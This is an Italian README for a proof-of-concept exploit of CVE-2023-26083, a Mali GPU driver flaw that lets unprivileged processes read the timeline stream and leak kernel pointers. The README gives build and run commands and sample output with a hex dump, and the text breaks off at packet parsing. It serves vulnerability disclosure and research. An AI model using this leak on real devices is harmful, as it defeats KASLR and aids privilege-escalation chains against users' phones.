CVE-2023-26083 – Perdita di indirizzo del kernel della GPU Mali tramite Timeline Stream

Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2023-26083, una vulnerabilità nel driver della GPU Mali (Arm Mali GPU Kernel Driver) che consente a un utente non privilegiato di divulgare puntatori del kernel e informazioni interne sensibili tramite il timeline stream (/dev/mali0).

Panoramica della vulnerabilità

Il driver della GPU Mali fornisce una funzionalità “timeline stream” (tlstream) per profilazione e debug. Questo stream esporta eventi che contengono puntatori grezzi del kernel (ad es. indirizzi di kbase_context, kbase_gpu, kbase_lpu, spazi di indirizzi, atomi, ecc.). Normalmente, l'accesso a questo stream richiederebbe il flag BASE_CONTEXT_CREATE_FLAG_MONITOR. Tuttavia, a causa di un controllo delle autorizzazioni mancante nel gestore KBASE_IOCTL_TLSTREAM_ACQUIRE, qualsiasi processo (anche senza il flag di monitor) può ottenere un descrittore di file per il timeline stream e leggere indirizzi di memoria del kernel.

Impatto:

• La divulgazione di puntatori del kernel aggira l'ASLR del kernel (KASLR).
• Combinata con altre vulnerabilità (ad es. use-after-free, scrittura arbitraria), ciò può portare a escalation dei privilegi o esecuzione arbitraria di codice nel kernel.
• La perdita stessa espone lo stato interno del driver e può essere utilizzata per il fingerprinting.

Versioni Affette

• Versioni del driver del kernel GPU Arm Mali precedenti alla correzione per CVE-2023-26083.

Compilazione ed Esecuzione

Prerequisiti

• Un dispositivo con GPU Mali (ad es. Exynos, MediaTek, alcuni SoC Rockchip).
• L'accesso root non è richiesto – il PoC funziona come utente non privilegiato.
• Il kernel deve avere il driver Mali integrato o come modulo (/dev/mali0 deve esistere).

Compilazione

Poiché il codice è autonomo e indipendente, puoi facilmente cross-compilarlo utilizzando strumenti standard.

1. Per Android (Consigliato)

Utilizza la toolchain Android NDK per compilare per dispositivi ARM64. È altamente consigliato l'uso del linking statico per prevenire problemi di compatibilità del linker dinamico su diverse versioni di Android:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Per Desktop/Board Linux basati su ARM

Se stai testando su una scheda di sviluppo ARM (come Raspberry Pi o Odroid) che ha una GPU Mali ed esegue una distribuzione Linux standard:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Esecuzione

./mali_tlstream_leak

Il programma:

1. Aprire /dev/mali0.
2. Eseguire un controllo della versione.
3. Impostare i flag su BASE_CONTEXT_CREATE_FLAG_NONE (nessun privilegio di monitor).
4. Acquisire il timeline stream (ioctl vulnerabile).
5. Leggere i pacchetti del timeline per alcuni secondi.
6. Analizzare e visualizzare le perdite di puntatori del kernel (contrassegnate con *** KERNEL).

Esempio di Output

Nota: Questo Proof-of-Concept (PoC) è stato testato solo su un Samsung Galaxy J7 Prime con Android 8.1.0 (Kernel 3.18) con il livello di patch di sicurezza del 1° aprile 2020.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0